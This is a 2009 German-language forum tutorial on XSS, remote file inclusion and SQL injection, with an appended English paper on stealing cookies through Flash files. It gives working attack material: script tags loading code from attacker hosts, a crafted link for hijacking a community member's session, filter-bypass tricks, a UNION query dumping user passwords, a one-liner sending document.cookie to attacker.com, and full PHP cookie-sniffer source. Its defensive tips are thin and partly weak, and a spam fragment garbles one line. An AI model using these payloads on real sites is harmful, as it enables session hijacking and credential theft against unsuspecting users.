XSS Injection

Dieses Thema im Forum "Security Tutorials" wurde erstellt von Puddy, 17. März 2009 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 17. März 2009
    Code:
    _____________________________________________
    |:::::::::::::::::::::::::::::::::::::::::::::|
    |:::::::::::::::::::::::::::::::::::::::::::::|
    |:::: X X XSs XSs ::::|
    |:::: X S S ::::| (<-- 1337 ASCII art.)
    |:::: x x xSS xSS ::::|
    |:::::::::::::::::::::::::::::::::::::::::::::|
    |::::::::::::::::::::::::::::by [PHCN]Puddy:::|
     ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

    Hi, ich erzähle euch bisschen was über Cross Site Scripting, ich werde mich
    bemühen alles niederzuschreiben was ich weiß, ich kann nicht behaupten, dass
    ich alles über XSS weiß, aber ich denke es wird für den ein oder anderen
    was neues dabei sein

    Also, here we go:

    Als Cross Site Scripting (xss um es nicht mit cascading style sheets zu verwechseln)
    bezeichnet man das Ausnutzen einer Sicherheitslücke in einer Webseite, die es möglich macht
    HTML- über PHP- bis MySQL- (oder ähnliches, was anderes ist mir aber bisher noch nicht
    unter gekommen ) -code einzufügen, eben je nachdem was für Möglichkeiten diese Sicherheitslücke bietet.


    Ein kleines praktisches Beispiel..
    Wir wollen uns eine Webseite vorstellen, auf der Webseite gibt es ein Suchfeld
    Ich suche nach {SuchWort} und die Seite sagt mir:
    Leider wurden bei ihrer Suche nach "{SuchWort}" keine Ergebnisse gefunden!
    Überlegen wir mal kurz, was passiert wohl wenn wir nach
    <script>alert('XSS!');</script>
    suchen?
    Bingo, die Seite schreibt den javascript code in den Quelltext, unser Browser parsed ihn,
    und wir sehen eine alert box die XSS! ausgibt!
    Aber halt, das ist doch nicht gefährlich?!
    DOCH ist es!


    ### HTML/JS XSS
    Fangen wir mit einer klassischen XSS Attacke an,
    wir bringen eine Webseite dazu gefährlichen (HTML/JavaScript) code anzuzeigen
    um an die Login Daten eines users zu kommen

    Stellt euch mal ein Suchfeld vor, ich hoffe ihr könnt ein wenig HTML sonst kommen wir hier nicht weiter
    <input type=text value='enter search text here!'>

    Wenn wir nach etwas gesucht haben, zb nach "LOLCATS!" sieht das selbe Feld so aus:
    <input name='suchfeld' type='text' value='LOLCATS!'>

    Es zeigt uns also an wonach wir als letztes gesucht haben.
    Jetzt suchen wir mal nach
    '><script src=http://haxxorserver.pg/javascript.js></script>

    Also, wie sieht der HTML Code nun aus?
    <input name='suchfeld' type='text' value=''><script src=http://haxxorserver.pg/javascript.js></script>'>

    Ich denke das kann man nachvollziehen..
    In dem javascript.js kann man jeden beliebigen Javascript code schreiben der Ausgeführt wird
    wenn jemand entsprechend dem obigen Beispiel gefährlichen Code ins Suchfeld eingibt..

    Ein einfaches "alert(document.cookie);" in der .js Datei würde zb das Seitencookie anzeigen,
    in dem sehr oft Passwort hashe gespeichert sind, in den allermeisten Fällen reicht so ein Passwort
    um sich auf der Seite als das Opfer einloggen zu können.

    Mit dem richtigen JS Code ist es kein Problem das Passwort zu speichern,
    und es gibt viele user die man mit ein wenig Überredungskunst dazu bringen kann seltsamen, gefährlichen, code
    ins Suchfeld einzugeben.. "was soll schon passieren?"


    Ok, ok, ich weiss ihr seid ganz anders:
    "Man kann ja vorher in die .js schauen ob da gefährlicher code drin steht oder harmloser!"
    tyo, da sage ich:
    per PHP kann man dafür sorgen, dass beim ersten Aufruf der .js ein harmloser
    javascript code angezeigt wird, beim zweiten Aufruf jedoch das cookie wirklich kopiert und gespeichert wird..
    jemand schaut sich an "hä was soll das, ah ok, nichts Gefährliches ich probiers mal aus.."
    und BÄMMMM hätte man sein cookie mit dem man sich auf der Seite einloggen kann..

    XSS Attacken sind auf verdammt vielen Seiten möglich, auch
    mod secure (nur für die PHP coder und admins ) hilft nichts!!
    (mod secure ist eine php Einstellung die eigentlich dazu da ist Angriffe auf die Webseite zu verhindern (unglaublich nervig imho,
    man sollte lieber sauber coden anstatt sich auf sowas zu verlassen!)


    Jetzt möchte ich darauf eingehen wie das beschriebene Beispiel möglich ist,
    dazu muss ich damit anfangen, dass es 2 Methoden gibt mit denen ein User einer
    Webseite Daten übergeben kann, diese 2 Methoden heißen GET und POST
    REIN TECHNISCH besteht so gut wie KEIN Unterschied!!

    Der einzige Unterschied ist, dass die Daten bei GET an die URL angehängt werden
    und zwar nach dem Schema
    http://www.server.bla/datei.php?[variable1]=[wert1]&[variable2]=[wert2]&[variable3]=[wert3]&[var4]=....

    Bei POST werden die Daten nicht in der Adresse sondern extra in dem Request Paket an den Server übergeben,
    unsichtbar für den User
    Ich kann euch nur empfehlen euch das ganze mal in einem Packet Sniffer anzusehen, ich hab
    aber unten unter Anhang am Ende des Textes auch ein POST und ein GET Packet angehängt, könnt ihr euch gern ansehen, denke
    das erklärt einiges
    Aber Prinzipiell, einfach mal bisschen mit HTML GET und POST methoden rumprobieren und das ganze im Packet Sniffer beobachten =)

    Die bei dem Beispiel übergebenen POST Variablen sind:
    (Variable=Wert)
    HASH=2ebbddb45fcc5dcbb936ccb0306a2a55
    searchtext="><script src=http://haxxxorserver.rox/javascript.js></script>
    action=Go

    (HASH ist eine ID mit der ich identifiziert werden kann, bei jedem User sieht die anders aus )

    Viele Programmierer wissen nicht, dass man die übergebenen POST Daten faken kann,
    Fakt ist: wenn man weiss wie, kann man die genauso leicht verändern wie die in der URL
    Leiste stehenden GET Daten!
    (Diese Tatsache ist wichtig wenn wir an html <input type=hidden> oder
    Option boxen denken! Viele Programmierer vergessen, dass html client-seitig manipuliert werden kann..)

    Ok, Webseiten die unvorsichtig mit den GET Daten umgehen sind dennoch gefährdeter,
    ich bin einfach mal so frei das ganze an einem echten Beispiel zu zeigen..
    Man stelle sich vor ich möchte das cookie eines Mitglieds einer social community stehlen.
    Ich schreib mein Opfer an "hey schau dir doch mal mein Profil an ;D" und geb ihm den Link:
    http://www.community.de/index.php?show=profil&id=meineid><script+src=http://atacker.de/pwned.js>


    Der Link ist jetzt relativ auffällig, aber wozu gibt es tinyurl.com?
    RR:Board
    sieht schon gar nicht mehr so auffällig aus oder?

    Und wieder gilt, ein weniger anderer JS code und ich kann das cookie stehlen..

    Nochmal zusammenfassend:
    um eine Lücke auszunutzen die POST Daten betrifft benötige ich schon ein wenig Social Engineering skills um mein Opfer dazu

    zu bewegen den gefährlichen code selbst einzugeben,
    eine GET Lücke nutze ich aus in dem ich einfach einen gefährlichen Link erstelle und mein Opfer dazu bring
    den Link zu folgen..

    Ausserdem könnte natürlich auch zb ein Gästebuch gefährdet sein, wenn es keine html tags
    filtert könnten wir einfach "hi tolle Seite hast du! <script src=..atacker.js> posten.
    So bekommen wir die Cookies aller eingeloggten user die das Gästebuch betrachten...


    Das waren die Basics zu HTML/JS XSS Attacken, und ich sage euch, verdammt
    viele Seiten sind anfällig!


    Mit diesen Basics hat man aber nur Erfolg wenn der Programmierer keinerlei Sicherheitsvorkehrungen
    getroffen hat, zum Glück denken aber einige Programmierer doch mit und benützen Filter um XSS Attacken
    unmöglich zu machen..
    Allerdings gibt es leider nicht nur Filter die perfekt funktionieren, sondern auch welche die ausgetrickst
    werden können..
    Da es bereits sehr hilfreiche paper/Sammlungen dazu gibt, werde ich das ganze nicht noch einmal schreiben
    da es eh das Selbe wäre, sondern geb euch einfach diesen Link
    http://sec.drorshalev.com/dev/xss/xssTricks.htm

    ausserdem hab ich mir noch folgendes zusammengesucht / selbst notiert, ich kann leider keine
    Quellen angeben, ist aus meinem Notiz Zettel und da hab ich keine Quellen mitnotiert...
    Also hier ein Auszug aus meinen Notizen, pro Zeile eine möglichkeit evntl Filter zu umgehen oä:

    <span><[0x00]script>alert()</script></span> # IE completely ignores NULL chars.
    It filters "expression" but does it filter expr/**/ession ?
    src=//domain.ws/file.js (http: unnötig)
    style=-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss) for Firefox
    or style=width:expression(alert(1)) for Internet Explorer
    filter "script" zu "" Lösung: <scr<scriptipt

    sehr lesenswert ist auch Bypassing Filters With Encoding
    In dem Thread geht es darum XSS Filter zu umgehen, in dem man den Unterschied
    zwischen verschiedenen Encodings benützt. Wenn die Seite mit UTF 7 ausgegeben wird,
    da Server und Client die Zeichen dann eventuell verschieden behandeln.. Doch da ich
    was das angeht noch keinerlei praktische Erfahrung hab werde ich darüber nicht mehr schreiben,
    falls es euch interessiert werdet ihr im Netz bestimmt fündig


    Um XSS Attacken unmöglich zu machen gibt es einmal die Funktion htmlspecialchars(),
    sehr ratsam. Allgemein <> filtern ist ein großer Schritt,
    aber es ist schwer das allgemein zu sagen da es immer wieder Ausnahmen gibt...
    // filtern macht auch Sinn, so kann man nicht mehr ohne Weiteres externe Scripte einbinden
    oder gestohlene Cookie-Daten an einen anderen Server übergeben..




    ### PHP/Remote File Inclusion(RFI)

    Manchmal bekommt man auch die Möglichkeit eine Seite dazu zu bringen PHP-Fremdcode
    zu parsen

    bsp:
    Eine Website mit vielen Seiten, folgt man einem Link so wird ein handle übergeben
    und der entsprechende content angezeigt
    wir stellen uns php code vor:

    [...header, navigation etc wird ausgegeben...]
    include($_GET['content'].'.htm'); /*der Seiten Inhalt wird angezeigt*/

    Wenn wir also die Seite "Kontakt" sehen wollen klicken wir den Link
    index.php?content=kontakt - was passiert dabei?
    php includet("kontakt".'.htm');

    nun, was bedeutet das..
    Es bedeutet, PHP öffnet die Datei "kontakt.htm", parsed diese, und gibt das Ergebnis auf der
    aufgerufenen index Seite aus. Falls php code in der Datei steht wird dieser ausgeführt!
    - egal was die Dateiendung ist

    //NOTE: falls das unverständlich is könnte ich eine Grafik dazu machen, lasst es mich wissen

    wenn wir also die Seite index.php?content=http://domain.de/phpdatei aufrufen,
    öffnet unser Opfer-Server die Datei http://domain.de/phpdatei.htm, parsed diese und gibt das Ergebnis aus
    - Fatal! Wir können so über die variable content php code einschleusen!

    Einfaches workaround:
    if (file_exists($_GET['content'])) include($_GET['content'].'.htm');
    (Greetings go to Mahjong )
    die Funktion file_exists prüft nämlich nur lokal ob die Datei existiert und
    öffnet Dateien nicht remote wie include..



    ### MySQL Injection

    Auf Grund der vielen Möglichkeiten die ich selbst nicht (alle) beherrsche, möchte ich mir nicht
    anmassen darüber viel zu schreiben, ich werde nur mit einem kleinen Beispiel auf das Prinzip
    eingehen

    Aber erstmal für die, die mysql zum ersten mal hören:
    kommt wieder wenn ihr wisst was mysql ist *lol*
    ;D
    aber zur Verständnis Hilfe, eine MySQL Datenbank kann man sich vor stellen wie eine Ansammlung von Tabellen
    nehmen wir eine dummy Tabelle als Anschauungs Hilfe:

    Table Dummy
    Felder: | ID | name | passwort | mail | status
    | 0 |admin | admin123 |ad@mail| admin
    | 1 | eddy | merox111 |ac@mail| user
    | 2 | andy | 123§³lol |ad@mail| user

    und so weiter..
    Eine Abfrage ist so aufgebaut:
    SELECT [Felder, mit Kommma getrennt] FROM [Tabelle] WHERE [Bedingung, zb name='eddy']


    Nun zum Beispiel

    Wir stellen uns eine News Seite vor
    Auf der News Seite gibt es viele Einträge und deswegen einen Link
    "nur die letzten 10 anzeigen"
    dabei wird news.php?limit=10 aufgerufen

    in php sieht das so aus:


    if(empty($_GET['limit'])) $limit=100; //Falls Limit leer, limit=100
    else $limit=$_GET['limit']; //Limit=übergebener Limit Wert
    $qry="SELECT titel,inhalt,autor,datum FROM news LIMIT $limit"; //die mysql Abfrage
    mysql_query($qry); //das Script geht weiter, gibt Ergebnisse aus
    [...]



    also kann der user festlegen was als LIMIT gesetzt wird, wieviele Ergebnisse maximal ausgegeben werden
    aber wenn wir anstatt einer Zahl was anderes übergeben, wird das einfach genauso an den sql Befehl angehängt...
    Ich möchte kurz den MySQL Befehl UNION vorstellen.. eine genaue Dokumentation findet man auf mysql.com, aber das hier soll
    uns reichen:

    union hängt an eine erste Abfrage eine Zweite an, es werden alle Ergebnisse gemeinsam zurückgegeben
    select 1+1; gibt in mysql "2" zurück
    select 1+1 union select 2+2; gibt 2 und 4 zurück

    dh wenn wir in oben genannter query als limit
    1 UNION SELECT 1+1
    angeben, wird folgende Befehl Abfolge abgefragt:

    SELECT titel,inhalt,autor,datum FROM news LIMIT 1 UNION SELECT 1+1

    Da bekommen wir aber folgende Fehlermeldung:
    The used SELECT statements have a different number of columns
    Denn die 2te Abfrage, die mit UNION angehängt wird, muss die selbe Anzahl an Feldern abfragen wie die Erste,
    das bedeutet wir müssen die Query so formen:

    SELECT titel,inhalt,autor,datum FROM news LIMIT 1 UNION SELECT 1+1,2+2,3+3,4+4

    jetzt ist es aber ziemlich langweilig eine MySQL Injection für Mathematik zu benützen, wir können
    nämlich alles mögliche Abfragen! Wir müssen nur wissen wie die Tabellen und die Felder heissen,
    die sind aber in der Regel leicht zu erraten
    zb gibt es häufig eine Tabelle "user" oder "users" mit Feldern wie "email" "password" "name" "username" und so weiter,
    da hilft nur raten und schauen wie variablen oder Begriffe auf der Seite verwendet werden. Programmierer benützen
    häufig für Formulare die zb eine Email Addresse übergeben den selben Namen wie für das zugehörige Datenbank Feld..

    also könnten wir als limit einfach mal
    1 union select name,password,email,status from users
    probieren!

    dann sollten uns News auffallen die keine Neuigkeiten enthalten, sondern lediglich von usernamen, Passwörtern und
    emails handeln...

    Denn PHP wird anstatt Titel, Namen, anstatt News Texten Passwörter, anstatt Autoren Emails und anstatt Datums(Daten?)
    die zugehörigen Stati ausgeben..

    Ich hoffe ihr konntet einen Einblick gewinnen, ich bin sicher es gibt wesentlich bessere Tutorials zu MySQL Injections..


    Um MySQL Injections unmöglich zu machen rate ich Queries Prinzipiell mit ' zu versehen, also nicht wie im bsp
    mysql_query("SELECT titel,inhalt,autor,datum FROM news LIMIT %variable%")
    sondern
    mysql_query("SELECT titel,inhalt,autor,datum FROM news LIMIT '%variable%'")
    und dann die %variable% vorher durch die Funktion addslashes() zu jagen, die macht nämlich aus allen ' ein \',
    damit ist in dem Szenario eine Injection vereitelt..






    Ich hoffe ich konnte euch etwas neues erzählen und ihr werdet in Zukunft vorsichtiger durch das Web surfen,
    denn es sind auch eure Daten die in Gefahr sind!
    Ist übrigens mein erstes Paper, also falls es ist lassts mich wissen, und vor allem was ich besser machen kann







    ####ANHANG####
    -----
    Ein GET Request Paket:

    GET /index.php?variable1=wert1&variable2=wert2 HTTP/1.1
    Host: 127.0.0.1:80
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1)
    Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive


    Und das selbe per POST:

    POST /index.php HTTP/1.1
    Host: 127.0.0.1:80
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1)
    Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 31

    variable1=wert1&variable2=wert2


    #################






    Angehängt noch ein anderes Paper, denke das könnte dazu passen




    #### FlashCookies ####

    by [PHCN]Puddy


    Cross Site Scripting(XSS) attacks are more dangerous
    than one might think. It is quite an easy way to steal
    passwords or login sessions from users, but the most
    mention worthy aspect is that SO DAMN MANY pages are
    vulnerable.. This is a way to implement such an attack
    in a flash file and make even more pages vulnerable



    1. XSS attack using a flash file
    1.1 creating a flash file containing JavaScript code
    1.2 modifying an existing flash file for our needs
    1.3 'lil php cookie sniffer code



    #######################################################
    1. XSS attack using a flash file
    #######################################################
    Flash got a nice function.
    This function is getURL()
    We can use it to execute Javascript code,
    getURL("javascript:alert('XSS')")

    So everything else is quite simple eh?

    #######################################################
    1.1 creating a flash file containing JavaScript code
    #######################################################
    Get yourselfe a Flash studio like
    Macromedias Flash MX, start it and create a new .swf
    file, you might want to set its size to 1*1px.
    Select the first frame and open the Action Tab,
    You will be able write code now


    i suggest to use something like:
    getURL("javascript:function im(){Q=new Image(); Q.src='http://www.attacker.com/sniffer.php?cookie='+window.document.cookie;}im();");

    NOTE: the whole code must be in ONE line!
    (otherwise flash barfs)
    Export it to .swf and you are done!

    #######################################################
    1.2 modifying an existing Flash file for our needs
    #######################################################
    Get a flash decompiler, i suggest the professional
    version of Eltima Flash Decompiler (you need the prof vers!)
    open the flash file you want to modify and export it to fla
    now go to 1.1 and do the same steps, just open the .fla instead
    of a new file

    #######################################################
    1.3 'lil php cookie sniffer code
    #######################################################
    for those of you who don't know PHP
    create a new file with your text editor, name it sniffer.php
    and put this code in it:
    <!--/*##start copy##*/-->
    <?php
    $cookie = $_GET['c'];
    if($cookie!="") {
    $ip = getenv ('REMOTE_ADDR');
    $date=date("j F, Y, g:i a");
    $referer=getenv ('HTTP_REFERER');

    $fp = fopen('cook.txt', 'a');
    fwrite($fp, "\nrefer: $referer\ndate: $date\nip: $ip\ncookiedata: \n$cookie\n-+-+-+-+-+-+-+-+-+-\n");
    fclose($fp);
    }
    ?>
    <!--/*##stop copy##*/-->

    Upload the file on your php supporting webspace
    and use host.com - de beste bron van informatie over Host. Deze website is te koop![COOKIE DATA]
    (there are better sniffer scripts, but basicly thats all ya need
    (you might have to set chmod777 for the cook.txt, depends on your server)


    Ist schon bisschen länger her dass ich das geschrieben hab, ist aber immernoch aktuell!
    Über Kommentare oder Fragen würd ich mich freun
     
  2. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.